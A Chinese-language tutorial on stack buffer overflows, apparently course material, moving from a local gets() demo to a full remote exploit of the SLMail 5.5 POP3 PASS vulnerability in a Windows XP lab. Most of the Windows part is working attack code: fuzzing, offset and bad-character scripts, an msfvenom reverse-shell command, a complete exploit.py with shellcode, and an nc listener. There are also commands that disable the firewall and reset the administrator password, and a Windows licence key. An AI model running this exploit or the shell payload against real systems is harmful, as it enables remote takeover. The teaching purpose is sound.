免责声明
以下所有关于黑客技术、病毒攻击、拒绝服务或任何其他计算机系统攻击手段的讲义、资料和讨论内容,仅用于教育目的。这些内容不得用于对任何计算机系统发起攻击或造成损害,也不以任何方式鼓励任何人从事此类行为。
本文所涉及的所有技术讨论仅供学习和研究使用。作者不对任何人使用这些信息用于非法用途负责。阅读本文即表示您同意不会将文中讨论或披露的任何技术手段用于实施网络攻击等违法行为。
本文遵循学术研究和技术交流的目的,拒绝为任何恶意行为提供指导。如有违法使用,使用者需自行承担所有法律责任。
缓冲区溢出原理
缓冲区(Buffer)是程序中用来临时存放数据的内存区域,通常是一个固定大小的连续内存空间,常见的如字符数组、字符串等。
高地址
0xC0000000 +------------------+
| 内核使用区 | Kernel Space
0xBF000000 +==================+
| 栈区 | Stack (向下增长)
| ↓ |
| [局部缓冲区] | <-- 我们讨论的缓冲区通常在这里
| ↑ |
| |
+------------------+
| 共享库映射区 | Memory Mapping
+------------------+
| 堆区 | Heap (向上增长)
| ↑ |
+------------------+
| BSS段 | 未初始化数据
+------------------+
| 数据段(.data) | 已初始化数据
+------------------+
| 代码段(.text) | 程序指令
0x08048000 +------------------+
| 未使用 |
0x00000000 +------------------+
低地址
局部缓冲区位于栈区,从高地址向低地址增长。栈上的数据是连续存储的,局部变量和返回地址相邻,超出缓冲区的写入会覆盖临近数据。
先从一个示例讲起:
#include <stdio.h>
#include <string.h>
void check() {
char buf[8];
printf("Enter your password:\n");
gets(buf);
printf("Your password is %s", buf);
}
int main(void) {
check();
return 0;
}
int hack() {
printf("Congrets! You overflow it!\n");
return 0;
}
漏洞点:
- 使用了不安全的gets()函数
- gets()不检查输入长度,会一直读取直到遇到换行符
- buf只有8字节,但输入可以超过8字节
编译:
gcc bof.c -o bof-32 -fno-stack-protector -ggdb
输出:
bof.c: In function ‘check’:
bof.c:7:5: error: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
7 | gets(buf);
| ^~~~
| fgets
- 正常输入(<= 8字节):正常显示输入的密码
- 溢出输入(> 8字节):
- 覆盖栈上的返回地址
- 程序可能崩溃
- 如果精确构造输入,可能跳转到hack()函数
- 当输入超过8字节时,会覆盖栈上的数据
- 程序试图返回时,返回地址已被破坏; 导致段错误(Segmentation Fault)
GDB调试工具
GDB (GNU Debugger) 是GNU项目开发的调试器,用于调试C/C++程序,支持断点调试、内存查看、变量监控等功能。查看当前版本:
gdb -v
启动gdb:
gdb ./bof-32
常用指令:
r => run
c => continue
s => step into
n => step over
info reg => register information
info frame => frame information
Info func=> list all functions
b [line number N] => set breakpoint at line N
disas[function name] => disassemble function
q => exit gdb
在较新版本的 GCC 中,gets() 函数已经被完全移除,而不仅仅是废弃。为了更好的展示内存溢出,我们把gets()函数改为scanf(), 再执行编译即可。
启动gdb, 然后输入r运行
输入info reg和info frame观察可以发现:
输入: AAAABBBBCCCCDDDDEEEE
rbp = 0x4444444443434343 # 被 "CCCCDDDD" 覆盖
rip = 0x550045454545 # 被 "EEEE" 部分覆盖
其中,ASCII值:A => 41 (十六进制) = 65 (十进制), B => 42 (十六进制) = 66 (十进制),以此类推……
溢出分析: 原始缓冲区大小为 8 字节。输入的 20 字节数据 (AAAABBBBCCCCDDDDEEEE) 溢出后:
- AAAABBBB: 覆盖了原始缓冲区
- CCCCDDDD: 覆盖了保存的基址指针(rbp)
- EEEE: 覆盖了返回地址(rip)
rip (返回地址) 被覆盖为无效地址0x550045454545; 程序尝试跳转到这个无效地址时触发段错误。这是典型的栈溢出现象,因为:
- 可以看到栈上的数据被完全按照输入模式覆盖
- 关键的寄存器
rbp和rip都被污染 - 程序因为跳转到非法地址而崩溃
构造payload
反汇编 hack 函数
目标:使程序执行完 check() 后跳转到 hack()
缓冲区布局(从低地址到高地址):
[buf 8字节][保存的rbp 8字节][返回地址 8字节]
需要构造:
- 8 字节填充缓冲区(AAAABBBB)
- 8 字节覆盖保存的 rbp(CCCCDDDD)
- 8 字节 hack 函数地址(0x00005555555551be)
在此基础上,利用python构建payload:
python3 -c 'with open("payload", "wb") as f: f.write(b"AAAABBBBCCCCDDDD" + b"\xbe\x51\x55\x55\x55\x55\x00\x00")'
- 程序成功执行了 hack() 函数,打印出了
Congrets! You overflow it! - 说明我们成功劫持了程序流程!
pwntools 工具
可以利用pwntools
pwntools 是什么:
- 一个 CTF (Capture The Flag,夺旗赛)框架和漏洞利用开发库
- 使用 Python 编写,专为快速原型设计和开发而设计
- 主要目的是让编写漏洞利用程序变得尽可能简单
安装:
# 安装venv
sudo apt install python3-venv
# 创建虚拟环境
python3 -m venv pwn_env
# 激活虚拟环境
source pwn_env/bin/activate
# 在虚拟环境中安装pwntools
pip install pwntools
实战:基于windows系统的缓冲区溢出练习
环境配置
在Windows XP或2k3 server中的SLMail 5.5.0 Mail Server程序的POP3 PASS命令存在缓冲区溢出漏洞,无需身份验证实现远程代码执行。
注意,Win7以上系统的防范机制可有效防止该缓冲区漏洞的利用:DEP。阻止代码从数据页被执行;ASLR,随机内存地址加载执行程序和DLL,每次重启地址变化。
环境准备:SLMail 5.5.0 Mail Server, ImmunityDebugger, mona.py, Windows XP和Kali
wxp x64 pro 镜像, (请勿传播) 激活码:B66VY-4D94T-TPPD4-43F72-8X4FY
传输文件: python -m http.server 8080
-
在windows虚拟机上安装
Immunity Debugger,SLMail 5.5(需要python 2.7环境) -
下载的
mona模块放入ImmunityDebugger安装目录下的PyCommands下,如:C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands
渗透流程:
graph LR
A[1.发现漏洞] --> B[2.定位控制点]
B --> C[3.寻找跳板]
C --> D[4.注入代码]
D --> E[5.获取Shell]
A1[发送越来越长的用户名<br>直到程序崩溃] --> A
B1[确定覆盖返回地址的<br>具体字节位置] --> B
C1[找到程序中的<br>JMP ESP指令] --> C
D1[构造shellcode并<br>放在跳转目标处] --> D
E1[程序执行shellcode<br>弹出命令行] --> E
网络配置
配置一个远程可访问的测试环境,在windows靶机上输入下面指令(需要管理员权限):
# 修改Administrator账户密码为"newpassword"
net user Administrator newpassword
# 将Administrator添加到"远程桌面用户"组
net localgroup "Remote Desktop Users" Administrator /add
# 修改注册表,启用远程桌面连接
# fDenyTSConnections=0 表示允许远程连接
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections/t REG_DWORD /d 0 /f
# 在Windows防火墙中启用远程桌面服务
netsh firewall set service type=remotedesktop mode=enable
# 在Windows上关闭防火墙
netsh firewall set opmode disable
# 重启系统使更改生效
# -r: 重启
# -t 0: 立即重启
shutdown -r -t 0
重启后,测试连接。
首先在windows上ipconfig,然后尝试在kali上ping这个地址。如果可以ping的通,那么就可以使用rdesktop进行连接。
rdesktop -u Administrator -p newpassword 192.168.232.136
Windows系统上会需要退出,连接成功!
假如连接失败,确认是否成功启用账户:
net user Administrator /active:yesnet user Administrator
之后重新尝试登录。
在WXP上启动服务,并确认服务在运行:
net start slmail
测试本地端口:telnet 127.0.0.1 110
在WXP端开放防火墙
netsh firewall add portopening TCP 110 "POP3"
netsh firewall add portopening TCP 25 "SMTP"
在Kali上可以检查到POP3服务:
POP3崩溃模糊测试
以管理员身份启动Immunity Debugger, 选择file -> attach -> SLmail, 进行调试。
点击工具栏三角标识,右下角显示Running即为开始运行。
模糊测试脚本: Fuzzing.py
- 寻找程序崩溃点
- 确定造成溢出的字符串长度
- 为后续漏洞利用提供依据
#!/usr/bin/python
import socket
import sys
HOST = '192.168.232.136'
PORT = 110
counter = 100
buffer = ["A"*counter]
while len(buffer) <= 20:
counter+=200
buffer.append("A" * counter)
for i in buffer:
try:
print('Fuzzing PASS {counter} bytes of buffer'.format(counter=len(i)))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
data = s.recv(1024)
print(data)
s.send(('USER admin' +'\r\n').encode())
data = s.recv(1024)
print(data)
s.send(('PASS ' + i + '\r\n').encode())
data = s.recv(1024)
print(data)
s.send('QUIT\r\n'.encode())
s.close()
except Exception as e:
print(f'Connection error: {str(e)}')
break
从输出来看,在2700字节时服务器没有返回响应,程序出现异常,这说明可能在2700字节附近发生了缓冲区溢出。
Debugger显示Paused。
下一步是要确定精确的溢出位置并验证。生成2700字节的唯一字符串:生成唯一字符串的目的是为了精确定位哪些字符覆盖了EIP寄存器。使用唯一字符串的优势是,每个位置的字符组合都是唯一的,当看到EIP被覆盖的值(如:39694438),可以通过pattern_offset工具反查这个值在原字符串中的准确位置。
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700
测试脚本CrashReplica.py:
#!/usr/bin/python
import socket
HOST = '192.168.232.136'
PORT = 110
# 将pattern_create生成的2700字节字符串放在这里
buffer = "Aa0Aa1Aa2Aa3..." # 替换为实际生成的pattern
try:
print('\nSending the buffer...')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
s.recv(1024)
s.send('USER admin\r\n'.encode())
s.recv(1024)
s.send(('PASS ' + buffer + '\r\n').encode())
print('\nDone!')
except:
print('Unable to establish the connection!')
- 重启
SLMail服务 - 重新附加
Immunity Debugger - 运行脚本
- 在调试器中记录
EIP的值
Access violation when executing [39694438]
这个39694438是当时 EIP 寄存器中的值,它正是被我们的唯一字符串模式覆盖的结果。我们需要用这个值去找偏移:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438
我们找到了精确的偏移值:2606!这意味着:
- 前 2606 个字节会填充到 EIP 之前的缓冲区
- 接下来的 4 个字节会覆盖 EIP
- 剩余的字节会放在 EIP 之后
下面进行一下测试, 重启服务和debugger, 验证我们对EIP的控制:
#!/usr/bin/python
import socket
HOST = '192.168.232.136'
PORT = 110
# 构造payload
buffer = b"A" * 2606 # 使用bytes类型
buffer += b"B" * 4
buffer += b"C" * 90
try:
print('\nSending evil buffer...')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
data = s.recv(1024)
print(data)
s.send(b'USER admin\r\n') # 使用bytes
data = s.recv(1024)
print(data)
s.send(b'PASS ' + buffer + b'\r\n') # 使用bytes
print('\nDone!')
except Exception as e:
print(f'Could not connect to POP3! {str(e)}')
finally:
s.close()
现在我们看到 EIP =42424242,这表明:
- 偏移量 2606 是正确的
- 我们已经精确控制了 EIP (4个"B"字符)
- ESP 指向了我们的"C"字符序列 (026FA158 处可以看到 "CCCC...")
- EBP 被成功覆盖为 41414141 (4个"A"字符)
这里将为我们添加shellcode提供了可能性。
确认坏字符
坏字符是指在漏洞利用中不能使用的字符。不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定的用途(返回地址、shellcode、buffer中都不能出现坏字符);它们可能会被程序特殊处理或截断。最常见的坏字符是空字符(\x00)。
我们现在需要找出哪些字符不能使用(坏字符检测),然后找一个可靠的跳转指令(JMP ESP),最后构造shellcode获取系统权限。现在正在做的坏字符检测,就是为了确保我们的shellcode能正确执行,不会被程序错误处理。
思路:发送0x00——0xff 256个字符,查找所有坏字符
- 生成字节数组
在 Immunity Debugger 底部的命令行中输入:
!mona bytearray
这会生成一个包含所有可能字符(0x00-0xFF)的数组文件。
- 在kali中创建测试坏字符的脚本:
badchar.py
#!/usr/bin/python3
import socket
# 目标机器信息
HOST = "192.168.232.136" # 改成你的 Windows 靶机 IP
PORT = 110
# 所有可能的字符(除了 \x00)
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
# 构造缓冲区
buffer = b"A" * 2606 + b"B" * 4 + badchars.encode()
try:
print("[+] 正在连接目标...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.recv(1024)
print("[+] 发送用户名...")
s.send(b'USER admin\r\n')
s.recv(1024)
print("[+] 发送带有坏字符测试的密码...")
s.send(b'PASS ' + buffer + b'\r\n')
print("[+] 完成!")
except Exception as e:
print(f"[-] 发生错误: {str(e)}")
finally:
s.close()
print("[+] 连接已关闭")
- 程序崩溃后,记下 ESP 指向的地址, 比较结果
!mona compare -f bytearray.bin -a <ESP 地址>
从图片标识的坏字符 "00 0a" 来看,我们已经找到了两个坏字符:
\x00 (null byte)
\x0a (换行符)
修改badchar.py脚本,删除这两个坏字符; 再次测试确认是否还有其他坏字符:重复以上操作直至没有新的坏字符出现。
重新生成干净的字节数组:
!mona bytearray -cpb "\x00\x0a"
第二次运行结果:
重新生成干净的字节数组:
!mona bytearray -cpb "\x00\x0a\x0d\x80"
重新生成新的字节数组:
!mona bytearray -cpb "\x00\x0a\x0d\x80\x81\x82\x83"
这里发现是连续的,我们跳到一个更大的边界;
发现: 0x80以上的字符都是坏字符。 因此,坏字符包括:
\x00 (NULL byte)
\x0a (换行符)
\x0d (回车符)
\x80-\xff (所有扩展ASCII字符)
构建跳转指令
在缓冲区溢出后,我们能控制EIP(指令指针)。但直接把shellcode的地址放入EIP是不可靠的,因为:
- Stack地址可能会变化
- ASLR等保护机制会使地址随机化
所以我们用"JMP ESP"技巧:
[Buffer填充] [JMP ESP地址] [Shellcode]
| | |
| | |
V V V
AAAA...AAAA -> FFE4指令 -> 实际的shellcode
其逻辑是:溢出后EIP指向JMP ESP指令 - > 执行JMP ESP会跳转到ESP指向的位置 -> ESP正好指向我们的shellcode
我们需要找JMP ESP指令在内存中的位置;但是搜索时需要用机器码来搜索,而不是文本。所以使用 nasm_shell.rb获取JMP ESP的机器码。
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
00000000 FFE4 jmp esp
搜索这个指令:
!mona find -s "\xff\xe4" -m slmfc.dll
我们可以选择第一个地址:0x5F4A358F
这个地址要在我们的漏洞利用代码中反转字节顺序(因为是小端序):
\x8f\x35\x4a\x5f
生成 shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=<Kali IP> LPORT=4444 -b "\x00\x0a\x0d" -f c
构建exploit.py:
#!/usr/bin/python
import socket
# 目标信息
HOST = "192.168.232.136" # 改成你的 Windows XP IP
PORT = 110
# 构造缓冲区
buffer = b"A" * 2606 # EIP 偏移量
buffer += b"\x8f\x35\x4a\x5f" # JMP ESP 地址 (小端序)
buffer += b"\x90" * 32 # NOP 滑行
buffer += (
b"\xda\xcf\xbf\xfe\xbb\x77\xd4\xd9\x74\x24\xf4\x58\x33\xc9"
b"\xb1\x52\x31\x78\x17\x83\xc0\x04\x03\x86\xa8\x95\x21\x8a"
b"\x27\xdb\xca\x72\xb8\xbc\x43\x97\x89\xfc\x30\xdc\xba\xcc"
b"\x33\xb0\x36\xa6\x16\x20\xcc\xca\xbe\x47\x65\x60\x99\x66"
b"\x76\xd9\xd9\xe9\xf4\x20\x0e\xc9\xc5\xea\x43\x08\x01\x16"
b"\xa9\x58\xda\x5c\x1c\x4c\x6f\x28\x9d\xe7\x23\xbc\xa5\x14"
b"\xf3\xbf\x84\x8b\x8f\x99\x06\x2a\x43\x92\x0e\x34\x80\x9f"
b"\xd9\xcf\x72\x6b\xd8\x19\x4b\x94\x77\x64\x63\x67\x89\xa1"
b"\x44\x98\xfc\xdb\xb6\x25\x07\x18\xc4\xf1\x82\xba\x6e\x71"
b"\x34\x66\x8e\x56\xa3\xed\x9c\x13\xa7\xa9\x80\xa2\x64\xc2"
b"\xbd\x2f\x8b\x04\x34\x6b\xa8\x80\x1c\x2f\xd1\x91\xf8\x9e"
b"\xee\xc1\xa2\x7f\x4b\x8a\x4f\x6b\xe6\xd1\x07\x58\xcb\xe9"
b"\xd7\xf6\x5c\x9a\xe5\x59\xf7\x34\x46\x11\xd1\xc3\xa9\x08"
b"\xa5\x5b\x54\xb3\xd6\x72\x93\xe7\x86\xec\x32\x88\x4c\xec"
b"\xbb\x5d\xc2\xbc\x13\x0e\xa3\x6c\xd4\xfe\x4b\x66\xdb\x21"
b"\x6b\x89\x31\x4a\x06\x70\xd2\xb5\x7f\x92\xa2\x5e\x82\x62"
b"\xb2\xc2\x0b\x84\xde\xea\x5d\x1f\x77\x92\xc7\xeb\xe6\x5b"
b"\xd2\x96\x29\xd7\xd1\x67\xe7\x10\x9f\x7b\x90\xd0\xea\x21"
b"\x37\xee\xc0\x4d\xdb\x7d\x8f\x8d\x92\x9d\x18\xda\xf3\x50"
b"\x51\x8e\xe9\xcb\xcb\xac\xf3\x8a\x34\x74\x28\x6f\xba\x75"
b"\xbd\xcb\x98\x65\x7b\xd3\xa4\xd1\xd3\x82\x72\x8f\x95\x7c"
b"\x35\x79\x4c\xd2\x9f\xed\x09\x18\x20\x6b\x16\x75\xd6\x93"
b"\xa7\x20\xaf\xac\x08\xa5\x27\xd5\x74\x55\xc7\x0c\x3d\x65"
b"\x82\x0c\x14\xee\x4b\xc5\x24\x73\x6c\x30\x6a\x8a\xef\xb0"
b"\x13\x69\xef\xb1\x16\x35\xb7\x2a\x6b\x26\x52\x4c\xd8\x47"
b"\x77"
)
try:
print("\nSending evil buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.recv(1024)
s.send(b'USER admin\r\n')
s.recv(1024)
s.send(b'PASS ' + buffer + b'\r\n')
print("\nDone!")
except Exception as e:
print(f"Could not connect to POP3! {str(e)}")
finally:
s.close()
建立反向shell
确认SLmail服务启动,且Debugger处于Running状态
在 Kali 启动监听器:
nc -nvlp 4444
运行 exploit.py
python exploit.py
反向shell建立!攻击成功!
参考
- 缓冲区溢出实战-slmail
- 香港大学COMP7904教学资料